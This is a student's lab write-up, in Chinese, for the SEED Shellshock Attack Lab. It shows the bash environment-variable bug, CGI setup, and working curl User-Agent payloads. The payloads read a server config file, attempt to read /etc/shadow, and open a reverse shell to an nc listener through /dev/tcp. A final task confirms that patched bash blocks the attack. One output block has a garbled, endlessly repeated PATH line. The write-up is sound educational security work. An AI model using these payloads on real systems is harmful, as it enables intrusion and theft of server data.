lab 3: Shellshock Attack Lab

Task 1: Experimenting with Bash Function

如图,当一个子 bash 进程被创建时,子 shell 将会解析该环境变量,把它转换成子函数定义。在解析的过程中,由于 Shellshock 漏洞的存在,bash 将会执行大括号后面的额外命令,即输出 extra。而在使用正常的 bash 之后,将不会执行该命令。

```
[04/13/21]seed@VM:.../cgi-bin$ foo='() { e
cho "hello world"; }; echo "extra";'
[04/13/21]seed@VM:.../cgi-bin$ echo $foo
() { echo "hello world"; }; echo "extra";
[04/13/21]seed@VM:.../cgi-bin$ export foo
[04/13/21]seed@VM:.../cgi-bin$ /bin/bash_s
hellshock
extra
<VM:.../cgi-bin$ /bin/bash
[04/13/21]seed@VM:.../cgi-bin$ ■</pre>
```

Task 2: Setting up CGI programs

```
root@VM:/usr/lib/cgi-bin# curl http://localhost/cgi-bin/m
yprog.cgi
Hello World
```

Task 3: Passing Data to Bash via Environment Variable

```
[04/13/21]seed@VM:.../cgi-bin$ curl -A "at tacker" http://localhost/cgi-bin/myprog.cg i
****** Environment Variables *****
HTTP_HOST=localhost
HTTP_USER_AGENT=attacker
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chin./chi
```

当用户向 Apache 服务器发送 CGI 请求时, Apache 服务器会用 fork()来新建一个子进程, 去运行 CGI 的 bash 脚本, 并且 Apache 服务器为这个子进程提供了环境变量, 其中, 有个环境变量是 HTTP_USER_AGENT,它是由客户端发送过来的 http 请求头中的 User-Agent 信息得来的, 这样就将用户发过来的信息传递给了 CGI 脚本。

Task 4: Launching the Shellshock Attack

如下图所示,通过 Shellshock 攻击读取到了服务器的机密文件

```
[04/13/21]seed@VM:~$ curl -A "() { echo hello;}; echo Content_ty
pe: text/plain; echo; /bin/cat /var/www/CSRF/Elgg/elgg-config/set
tings.php" http://localhost/cgi-bin/myprog.cgi > a.out
            % Received % Xferd Average Speed
                                                              Time
 Time Current
                                    Dload Upload
                                                     Total
                                                              Spent
Left
       Speed
        0
                    0
                                        0
                                                0 --:--:--
               8927
100 8927
                          0
                                0
                                   1019k
                                                0 --:--:--
             0
·:--:- 1089k
[04/13/21]seed@VM:~$ tail -5 a.out
        // in the list, don't include times that don't contribute
at least this much to the
        // total time captured. .1% by default
        $CONFIG->profiling minimum percentage = .1;
[04/13/21]seed@VM:~$
```

而 Ubuntu 系统上 Apache 服务器是以 www-data 用户 ID 运行的,程序的权限有限,不能访问 /etc/shadow 文件,如下图所示

```
[04/13/21]seed@VM:~$ curl -A "() { echo hello;}; echo Content typ
e: text/plain; echo; /bin/cat /etc/shadow" http://localhost/cgi-b
in/myprog.cgi > b.out
 % Total
            % Received % Xferd Average Speed
                                                Time
                                                         Time
Time Current
                                Dload Upload
                                                Total
                                                         Spent
Left
      Speed
 0
       0
            0
                  0
 0
                  0
                           0
                                     0
       0
            0
                       0
[04/13/21]seed@VM:~$ cat b.out
[04/13/21]seed@VM:~$
```

Task 5: Getting a Reverse Shell via Shellshock Attack

1. 先在攻击者的主机(10.0.2.15)设置 TCP 监听服务程序, 端口号为 9090

```
[04/13/21]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
```

2.在攻击者服务器上向受害者主机(10.0.2.4)发送 http 请求, 建立反向 shell

```
[04/13/21]seed@VM:~$ curl -A "() { echo hello;}; e
cho Content_type: text/plain; echo; echo; /bin/bas
h -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1" http://1
0.0.2.4/cgi-bin/myprog.cgi
```

随后能在攻击者主机上接收到反向 shell 传过来的数据,并且可以看到反向 shell 已经成功建立,可以使用该 shell 继续向受害者主机发送命令了

```
[04/13/21]seed@VM:~$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.4] port 9090 [tcp/*] accepted (family 2, sport 45744)
bash: cannot set terminal process group (2201): In appropriate ioctl for device bash: no job control in this shell
www-data@VM:/usr/lib/cgi-bin$
■
```

为什么能实现反向 shell?

当一个子 bash 进程被创建时,子 shell 将会解析该环境变量,把它转换成子函数定义。在解析的过程中,由于漏洞的存在,bash 将会执行大括号后面的额外命令。在使用 curl -a 命令向受攻击服务器传入构造的 User-Agent 之后,Apache 服务器会创建一个子进程来执行 CGI 程序,并把解析到的 HTTP_USER_AGENT 传给运行 CGI 程序的子进程,子进程会因为漏洞的存在去解析并执行其中的恶意代码。该恶意代码会将受害者服务器的 shell 输出重定向到与攻击者建立的 TCP 连接上,同时 shell 的输入也来自于该 TCP 连接,进而在攻击者的服务器上成功建立了反向 shell,能够以 www-data 的身份运行命令了。

Task 6: Using the Patched Bash

1)如图,修改后仍然能通过 user-agent 向 cgi 子进程传入 HTTP_USER_AGENT 环境变量

```
[04/13/21]seed@VM:.../cgi-bin$ curl -A "at tacker" http://localhost/cgi-bin/myprog.cg

****** Environment Variables *****

HTTP_HOST=localhost

HTTP_USER_AGENT=attacker

HTTP_ACCEPT=*/*

PATH=/usr/local/sbin:/usr/local/bin:/usr/s
```

2) 重新应用 Shellshock 攻击,会发现修补后的 bash 不会将 shell 变量解析为 shell 函数,并且也不会执行

```
[04/13/21]seed@VM:~$ curl -A "() { echo hello;}; e cho Content_type: text/plain; echo; echo; /bin/bas h -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1" http://1 0.0.2.4/cgi-bin/myprog.cgi
****** Environment Variables *****
HTTP_HOST=10.0.2.4
HTTP_USER_AGENT=() { echo hello;}; echo Content_ty pe: text/plain; echo; echo; /bin/bash -i > /dev/tc p/10.0.2.15/9090 0<&1 2>&1
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```